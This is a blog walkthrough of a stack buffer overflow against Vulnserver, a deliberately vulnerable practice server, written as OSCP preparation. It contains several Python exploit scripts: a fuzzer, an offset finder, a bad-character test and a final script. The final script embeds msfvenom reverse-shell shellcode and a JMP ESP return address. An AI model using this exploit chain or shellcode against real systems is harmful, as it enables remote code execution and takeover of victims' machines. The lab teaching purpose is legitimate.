Buffer Overflow, Guides, Stack Buffer Overflow

Stack Buffer Overflow – Vulnserver Guide

Introduction

Vulnserver is a multithreaded Windows based TCP server that listens for client connections on port 9999 and it is primarily used for Stack Buffer Overflow exploitation practice.

I was suggested this great tool when preparing for my OSCP certification exam as I didn’t feel like confident enough when it came to Buffer Overflow.

Crashing the application

First of all we have to cause the application to crash, the very first thing to do is run the vulnerable executable:

Interacting with the application on port 9999 – it looks like when using the “TRUN” command it expects an input:

Creating the initial python fuzzer to find out what amount of bytes will cause the application to crash:

#!/usr/bin/python
import socket
import time
import sys

size = 100 

while(size < 2500):
    try:
        print "\nSending evil buffer with %s bytes" % size
        buffer = "TRUN ."
        buffer += "A" * size

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.connect(("192.168.135.10", 9999))
        s.send(buffer)

        s.close()

        size +=100
        time.sleep(3)

    except:
        print "\nCould not connect!"
        sys.exit()

Starting Immunity Debugger, attaching it to the application and running it:

Running the fuzzer- It appears when it reaches 2100 bytes it stops working

The application crashed with an access violation error and EIP was overwritten with the “A” characters sent by the script:

Identifying the EIP offset

The next step required is to identify which part of the buffer that is being sent is landing in the EIP register, in order to control the execution flow. Using the msf-pattern_create tool to create a string of 1200 bytes.

Adding the pattern to a new script, instead of sending the “A” characters:

#!/usr/bin/python
import socket

try:
  print "[+] \nSending evil buffer..."
  buffer = "TRUN ."
  buffer += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.135.10", 9999))
  s.send(buffer)
  
  s.close()
 
  print "\n[+] Sending buffer of " + str(len(buffer)) + " bytes..."
  print "\n[+] Sending buffer: " + buffer
  print "\n[+] Done!"
  
except:
  print "\n[+] Could not connect!"

Restarting the application, re-attaching Immunity and running the script:

This time, EIP was overwritten with “396F4338”

Using the msf-pattern_offset tool to calculate the exact offset, which is 2006

Modifying script to override EIP with “B” characters to test this last step

#!/usr/bin/python
import socket

try:
  print "[+] \nSending evil buffer..."
  trun = "TRUN ."
  offset = "A" * 2006
  eip = "B" * 4
  buffer = trun + offset + eip

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.135.10", 9999))
  s.send(buffer)
  
  s.close()
 
  print "\n[+] Sending buffer of " + str(len(buffer)) + " bytes..."
  print "\n[+] Sending buffer: " + buffer
  print "\n[+] Done!"
  
except:
  print "\n[+] Could not connect!"

Restarting the application, re-attaching Immunity and running the script:

As expected, the EIP registry was overwritten with the four “B” characters that were sent by the script:

Verifying available shellcode space

The purpose of this step is to verify whether there is enough space for the shellcode immediately after EIP, which is what will be executed by the system in order to gain remote access. Adding about 500 C characters to the script for this phase:

#!/usr/bin/python
import socket

try:
  print "[+] \nSending evil buffer..."
  trun = "TRUN ."
  offset = "A" * 2006
  eip = "B" * 4
  shellcode = "C" * (2500 - len(trun) - len(offset) - len(eip))
  buffer = trun + offset + eip + shellcode

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.135.10", 9999))
  s.send(buffer)
  
  s.close()
 
  print "\n[+] Sending buffer of " + str(len(buffer)) + " bytes..."
  print "\n[+] Sending buffer: " + buffer
  print "\n[+] Done!"
  
except:
  print "\n[+] Could not connect!"

Restarting the application, re-attaching Immunity and running the script:

All the “C” characters that were sent by the script were received and they have successfully overwritten the ESP register. This means an ESP JMP address can be used to redirect the execution to ESP, which will contain the malicious shellcode.

When checking the difference between the address at the beginning and the end of the “C” characters this confirms they all made id into ESP:

Testing for bad characters

In this phase all we have to do is identify whether there are any bad characters that can’t be interpreted by the application, so that we can later on remove them from the shellcode.

Modifying the script, adding all possible characters in hex format:

#!/usr/bin/python
import socket
badchars = (
        "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
        "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
        "\x21\x22\x23\x24\x27\x28\x29\x2a\x2c\x2d\x2e\x2f\x30"
        "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3e\x3f\x40"
        "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
        "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
        "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
        "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
        "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
        "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
        "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
        "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
        "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
        "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
        "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
        "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
try:
  print "[+] \nSending evil buffer..."
  trun = "TRUN ."
  offset = "A" * 2006
  eip = "B" * 4
  padding = "C" * (2500 - len(trun) - len(offset) - len(eip) - len(badchars))
  buffer = trun + offset + eip + badchars + padding

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.135.10", 9999))
  s.send(buffer)
  
  s.close()
 
  print "\n[+] Sending buffer of " + str(len(buffer)) + " bytes..."
  print "\n[+] Sending buffer: " + buffer
  print "\n[+] Done!"
  
except:
  print "\n[+] Could not connect!"

Restarting the application, re-attaching Immunity and running the script:

After following the ESP register to the memory dump, it looks like all the characters made it into ESP, therefore no bad characters are present, apart from x00 which is always considered a bad character

Finding a JMP ESP return address

The next step is to find a valid JMP ESP instruction address so that we can redirect the execution of the application to our malicious shell code.

Restarting the application, re-attaching Immunity and using !mona modules to find a valid dll/module – looks like the only good one is the executable and the essfunc.dll dll

Finding valid opcodes for the JMP ESP instruction – we are after FFE4

Searching for a JMP ESP instruction address in the executable using Mona – no pointers available

Searching for a JMP ESP instruction address in ssfunc.dll using Mona – found 9 valid pointers

Copying the address and searching for it to ensure it is valid:

It looks like it corresponds to a valid JMP ESP instruction address

Changing the script to replace the “B” characters used for the EIP register with the newly found JMP ESP instruction address, and adding 500 C characters, which will function as placeholder for the shellcode

#!/usr/bin/python
import socket
try:
  print "[+] \nSending evil buffer..."
  trun = "TRUN ."
  offset = "A" * 2006
  eip = "\xaf\x11\x50\x62"
  shellcode = "C" * 500
  buffer = trun + offset + eip + shellcode

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.135.10", 9999))
  s.send(buffer)
  
  s.close()
 
  print "\n[+] Sending buffer of " + str(len(buffer)) + " bytes..."
  print "\n[+] Sending buffer: " + buffer
  print "\n[+] Done!"
  
except:
  print "\n[+] Could not connect!"

Restarting the application, re-attaching Immunity and adding a breakpoint on the JMP ESP instruction address, then starting the program execution:

Executing the script again:

When the application stops, it lands on the JMP ESP instruction, which is where the breakpoint was added.

When single-stepping into the application execution, this takes to the C characters, as expected

Generating and adding the shellcode

The first step of this phase is to generate some shellcode using MSFvenom with the following flags:

  • -p to specify the payload type, in this case the Windows reverse TCP shell
  • LHOST to specify the local host IP address to connect to
  • LPORT to specify the local port to connect to
  • EXITFUNC to specify a function to call when the payload is executed, thread is used where the exploited process runs the shellcode in a sub-thread and exiting this thread results in a working application/system (clean exit). This is done to prevent the application from crashing
  • -f to specify the format, in this case Python
  • -b to specify the bad characters, in this case just x00
  • -e to specify the encoder, in this case shikata_ga_nai
  • -v to specify the name of the variable used for the shellcode

Adding the shellcode to the script, along with 10 NOP slides at the beginning of it to avoid errors during the decoding phase

#!/usr/bin/python
import socket
shellcode =  b""
shellcode += b"\xbf\x62\x39\xdb\x3e\xdb\xd3\xd9\x74\x24\xf4"
shellcode += b"\x5a\x33\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x0e"
shellcode += b"\x03\x18\x37\x39\xcb\x20\xaf\x3f\x34\xd8\x30"
shellcode += b"\x20\xbc\x3d\x01\x60\xda\x36\x32\x50\xa8\x1a"
shellcode += b"\xbf\x1b\xfc\x8e\x34\x69\x29\xa1\xfd\xc4\x0f"
shellcode += b"\x8c\xfe\x75\x73\x8f\x7c\x84\xa0\x6f\xbc\x47"
shellcode += b"\xb5\x6e\xf9\xba\x34\x22\x52\xb0\xeb\xd2\xd7"
shellcode += b"\x8c\x37\x59\xab\x01\x30\xbe\x7c\x23\x11\x11"
shellcode += b"\xf6\x7a\xb1\x90\xdb\xf6\xf8\x8a\x38\x32\xb2"
shellcode += b"\x21\x8a\xc8\x45\xe3\xc2\x31\xe9\xca\xea\xc3"
shellcode += b"\xf3\x0b\xcc\x3b\x86\x65\x2e\xc1\x91\xb2\x4c"
shellcode += b"\x1d\x17\x20\xf6\xd6\x8f\x8c\x06\x3a\x49\x47"
shellcode += b"\x04\xf7\x1d\x0f\x09\x06\xf1\x24\x35\x83\xf4"
shellcode += b"\xea\xbf\xd7\xd2\x2e\x9b\x8c\x7b\x77\x41\x62"
shellcode += b"\x83\x67\x2a\xdb\x21\xec\xc7\x08\x58\xaf\x8f"
shellcode += b"\xfd\x51\x4f\x50\x6a\xe1\x3c\x62\x35\x59\xaa"
shellcode += b"\xce\xbe\x47\x2d\x30\x95\x30\xa1\xcf\x16\x41"
shellcode += b"\xe8\x0b\x42\x11\x82\xba\xeb\xfa\x52\x42\x3e"
shellcode += b"\xac\x02\xec\x91\x0d\xf2\x4c\x42\xe6\x18\x43"
shellcode += b"\xbd\x16\x23\x89\xd6\xbd\xde\x5a\x19\xe9\x97"
shellcode += b"\x1d\xf1\xe8\x57\x23\xb9\x64\xb1\x49\xad\x20"
shellcode += b"\x6a\xe6\x54\x69\xe0\x97\x99\xa7\x8d\x98\x12"
shellcode += b"\x44\x72\x56\xd3\x21\x60\x0f\x13\x7c\xda\x86"
shellcode += b"\x2c\xaa\x72\x44\xbe\x31\x82\x03\xa3\xed\xd5"
shellcode += b"\x44\x15\xe4\xb3\x78\x0c\x5e\xa1\x80\xc8\x99"
shellcode += b"\x61\x5f\x29\x27\x68\x12\x15\x03\x7a\xea\x96"
shellcode += b"\x0f\x2e\xa2\xc0\xd9\x98\x04\xbb\xab\x72\xdf"
shellcode += b"\x10\x62\x12\xa6\x5a\xb5\x64\xa7\xb6\x43\x88"
shellcode += b"\x16\x6f\x12\xb7\x97\xe7\x92\xc0\xc5\x97\x5d"
shellcode += b"\x1b\x4e\xb7\xbf\x89\xbb\x50\x66\x58\x06\x3d"
shellcode += b"\x99\xb7\x45\x38\x1a\x3d\x36\xbf\x02\x34\x33"
shellcode += b"\xfb\x84\xa5\x49\x94\x60\xc9\xfe\x95\xa0"
try:
  print "[+] \nSending evil buffer..."
  trun = "TRUN ."
  offset = "A" * 2006
  eip = "\xaf\x11\x50\x62"
  nops = "\x90" * 10
  buffer = trun + offset + eip + nops + shellcode

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.135.10", 9999))
  s.send(buffer)
  
  s.close()
 
  print "\n[+] Sending buffer of " + str(len(buffer)) + " bytes..."
  print "\n[+] Sending buffer: " + buffer
  print "\n[+] Done!"
  
except:
  print "\n[+] Could not connect!"

Exploitation

The next step is to set up a Netcat listener, which will catch our reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Restarting the application without the debugger and running the script, A call back was received and a reverse shell was granted:

Conclusion

This is a great resource for students trying to learn stack buffer overflow, and I would definetely recommend this for anyone preparing for the OSCP certification exam as this helped me a lot.

If you are interested you can download the application and practice yourself here: https://github.com/stephenbradshaw/vulnserver